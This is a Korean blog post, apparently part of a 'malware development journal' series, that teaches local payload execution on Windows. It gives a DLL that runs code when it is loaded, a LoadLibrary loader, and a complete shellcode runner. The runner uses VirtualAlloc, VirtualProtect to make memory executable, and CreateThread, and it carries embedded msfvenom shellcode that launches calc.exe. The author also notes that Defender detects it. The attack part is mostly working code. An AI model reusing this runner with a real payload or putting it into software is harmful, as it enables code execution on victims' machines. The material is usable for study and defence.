local-payload excution
LoadLibrary로 dll 띄우기
예시용으로 간단히 messagebox를 띄우는 dll을 만들어보자
#include <stdio.h>
#include <Windows.h>
VOID MsgBoxPayload() {
MessageBoxA(NULL, "you are cooked", "Excuse me?", MB_OK | MB_ICONINFORMATION);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MsgBoxPayload();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
case DLL_PROCESS_ATTACH:를 보면 알 수 있듯, dll이 process에 붙으면 MsgBoxPayload가 실행되는 것을 알 수 있다.
- 참고) 경량화를 위해 dllmain.c를 제외한 모든 것을 지울 수 있다.
단, 이때 visual studio 프로젝트 설정에서속성 - C/C++ - 미리 컴파일된 헤더 - 사용안함으로 바꿔줘야 한다
이렇게 dll을 생성하였으면 이제 .c 파일에서 부를 차예이다.
이때 LoadLibrary를 사용한다.
https://learn.microsoft.com/ko-kr/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("[!] 인수가 누락되었습니다. injecting할 dll을 입력하세요.\n");
return -1;
}
printf("[i] Local process PID: %d에 [%s]를 Injecting...\n", GetCurrentProcessId(), argv[1]);
printf("[+] Loading dll...");
if (LoadLibraryA(argv[1]) == NULL) {
printf("[!] LoadLibraryA error!");
return -1;
}
printf("[+] Done!");
printf("[#] Press <Enter> To Quit...");
getchar();
return 0;
}

현재 내가 작성한 main.c 프로그램이 돌아가는 PID 9056번에 dll이 로드되었고,
dll에선 로드되었을 때 메세지박스를 띄우는 행동이 정의되어 있어 메세지박스가 떴다.

processhacker 상에서도 내가 만든 dll이 보인다.
shellcode injection
이제 새 스레드를 생성해서 셸코드를 실행해보자
사용되는 주요 함수
VirtualAlloc: 페이로드 저장용 공간 생성VirtualProtect: 할당된 메모리를 excute 가능으로 바꾸기CreateThread: 새 스레드 생성 및 페이로드 실행
페이로드 준비
msfvenom을 통해 calc.exe를 실행하는 페이로드를 만들면
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp
(전체 프로세스 종료 대신 스레드만 종료시킴)
전체 코드
이 코드의 원리는 다음과 같다.
- 메모리 공간을 할당하고 페이로드를 복사한다.
왜냐하면 DEP 때문에 .data 영역에 있는 코드는 non-excutable하기 때문... - 페이로드 실행을 위해 메모리를 excutable 하게 만든다.
- 새로운 스레드를 만들어 페이로드를 실행한다!
새로운 스레드를 만들면 매개변수로 넣어준 주소부터
바이트를 읽어가며 실행해준다!
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
int main() {
SIZE_T shellcodeSize = sizeof(buf);
printf("[i] injecting shellcode in PID: %d\n", GetCurrentProcessId());
// 메모리 공간 할당
printf("[#] Allocating...\n");
PVOID pShellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[-] failed with error %d\n", GetLastError());
return -1;
}
printf("[+] success! allocated memory at: 0x%p \n", pShellcodeAddress);
// 할당된 메모리에 페이로드 복사
printf("[#] Writing Payload...\n");
memcpy(pShellcodeAddress, buf, shellcodeSize);
// 메모리 권한 설정
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[-] failed with error %d\n", GetLastError());
return -1;
}
// 스레드 만들어서 실행
printf("[#] press <Enter> to run...\n");
getchar();
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcodeAddress, NULL, 0, NULL);
if (hThread == NULL) {
printf("[-] failed with error %d\n", GetLastError());
return -1;
}
printf("[#] press <Enter> to Quit...\n");
getchar();
return 0;
}
물론 real PC에서 실행하면...

바로 defender에 걸린다...

defender를 끈 가상머신에서는 잘 돌아간다!
반응형
'악성코드와 백신 > 악성코드 개발일지' 카테고리의 다른 글
| [악성코드 개발](12)[persistency] (0) | 2026.03.18 |
|---|---|
| [악성코드 개발](11)[obfuscated-shellcode-excution] (0) | 2026.03.16 |
| [악성코드 개발](9)[페이로드 암호화] (0) | 2026.03.11 |
| [악성코드 개발](8)[페이로드 난독화] (0) | 2026.03.10 |
| [악성코드 개발](7)[metasploit] (0) | 2026.03.09 |